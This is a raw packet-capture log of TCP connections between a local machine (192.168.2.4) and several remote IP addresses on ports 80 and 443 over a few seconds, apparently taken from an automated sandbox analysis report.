Nov 23, 2024 18:22:29.572854042 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.572901964 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.572972059 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.573028088 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.573565006 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.573621035 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.573657990 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.573712111 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.574259043 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.574340105 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.574363947 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.574414015 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.575007915 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.575057983 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.575084925 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.575135946 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.575706959 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.575752974 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.575756073 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.575803041 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.576416016 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.576466084 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.576500893 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.576550007 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.577119112 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.577167988 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.577238083 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.577286005 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.577852011 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.577899933 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.577944994 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.578003883 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.578589916 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.578639030 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.578666925 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.578715086 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.579282045 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.579341888 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.579375029 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.579423904 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.579952955 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.580002069 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.580130100 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.580178976 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.580714941 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.580764055 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.580806971 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.580856085 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.581425905 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.581471920 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.581492901 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.581542969 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.582134008 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.582180977 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.582247019 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.582319975 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.582850933 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.582916975 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.582952023 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.582999945 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.583647013 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.583746910 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.583801985 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.584323883 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.584377050 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.584392071 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.584434986 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.585345030 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.585408926 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.585455894 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.585501909 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.585776091 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.585829973 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.712272882 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.712372065 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.712454081 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.712652922 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.712668896 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.712678909 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.712682962 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.808274031 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.808304071 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.808372021 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.809524059 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.809536934 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.942421913 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.991744995 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:30.021627903 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:30.021636963 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:30.030431032 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:30.030436993 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:30.083736897 CET	443	49806	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:30.083863020 CET	443	49806	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:30.084002972 CET	49806	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:30.128424883 CET	49806	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:30.128452063 CET	443	49806	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:30.378783941 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:30.378918886 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:30.378976107 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:30.380335093 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:30.380352020 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:30.380362034 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:30.380367041 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:30.401092052 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:30.401151896 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:30.401292086 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:30.410867929 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:30.410892963 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.075027943 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.075119972 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.076666117 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.076687098 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.076896906 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.078401089 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.078428030 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.078469992 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.191889048 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.192378998 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.192406893 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.192962885 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.192969084 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.234143019 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.236416101 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.237030029 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.237061024 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.237483978 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.237490892 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.237785101 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.237802029 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.238316059 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.238320112 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.309473038 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.309520960 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.309582949 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.309829950 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.309849024 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.372459888 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.373744011 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.373760939 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.374289036 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.374295950 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.675868034 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.675915956 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.676243067 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.676336050 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.676357031 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.676371098 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.676384926 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.679270983 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.679353952 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.679452896 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.679621935 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.679655075 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.685746908 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.685830116 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.685909986 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.686089993 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.686104059 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.686115026 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.686120033 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.688448906 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.688500881 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.688623905 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.688761950 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.688781023 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.759895086 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.760082960 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.760152102 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.760180950 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.760188103 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.760195017 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.760199070 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.762451887 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.762482882 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.762608051 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.762727976 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.762737989 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.815865993 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.815934896 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.816071987 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.816101074 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.816112995 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.816148043 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.816154003 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.818516970 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.818542004 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.818670988 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.818790913 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:31.818802118 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:31.864279985 CET	49794	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:31.864414930 CET	49819	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:31.982912064 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.982961893 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.983009100 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.983047962 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.983062029 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.983088970 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.983098984 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.991089106 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.991134882 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.991142035 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.992841005 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:31.992914915 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:31.992921114 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.001225948 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.001276016 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.001281023 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.045195103 CET	80	49819	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:32.045296907 CET	49819	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:32.045516014 CET	49819	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:32.045892954 CET	80	49794	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:32.045994043 CET	49794	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:32.051114082 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.051141977 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.098117113 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.103544950 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.160566092 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.183923006 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.184061050 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.184133053 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.184139967 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.184161901 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.184211969 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.184317112 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.184330940 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.184340954 CET	49812	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.184346914 CET	443	49812	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.188220024 CET	80	49819	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:32.407790899 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:32.408274889 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:32.408308029 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:32.408899069 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:32.408915043 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:32.417700052 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.417732954 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.417794943 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.418025970 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.418035984 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.576062918 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.576178074 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.608414888 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.608445883 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.608639002 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.640774965 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.641489029 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.641524076 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.641676903 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.641716003 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.641988039 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.642030001 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.643656969 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.643687963 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.643802881 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.643841028 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.643989086 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.644016027 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.644026995 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.644040108 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.644170046 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.644196987 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.644213915 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.644371986 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.644397020 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.691335917 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.691478014 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.691500902 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.691519976 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.691536903 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.691586018 CET	49814	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:32.691606045 CET	443	49814	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:32.870604038 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:32.870754957 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:32.870848894 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:32.982593060 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:32.982626915 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:32.982642889 CET	49813	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:32.982652903 CET	443	49813	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.141758919 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.141793013 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.141858101 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.142076015 CET	49821	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.142086983 CET	443	49821	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.382446051 CET	80	49819	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:33.382504940 CET	49819	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:33.387203932 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:33.387450933 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:33.621203899 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:33.621292114 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:33.621458054 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:33.621520042 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:33.630918980 CET	49822	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:33.672991037 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.681583881 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.681598902 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.681866884 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.682378054 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.682387114 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.688119888 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.688138008 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.688816071 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.688821077 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.726506948 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.733825922 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:33.733886957 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:33.747800112 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.747811079 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.748245955 CET	49816	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.748250961 CET	443	49816	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.749896049 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:33.749907017 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:33.750243902 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:33.751552105 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:33.751729012 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:33.751754999 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:33.751816034 CET	49820	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:33.751823902 CET	443	49820	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:33.817641020 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.818099976 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.818183899 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.818681955 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:33.818697929 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:33.870249987 CET	80	49822	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:34.374646902 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.374996901 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.376183033 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.376254082 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.376271963 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.376288891 CET	49818	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.376296997 CET	443	49818	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.378669977 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.378701925 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.378889084 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.379029989 CET	49823	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.379044056 CET	443	49823	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.432090998 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.432272911 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.432356119 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.440149069 CET	49817	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:34.440164089 CET	443	49817	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:34.440192938 CET	49817	443	192.168.2.4	13.107.246.63
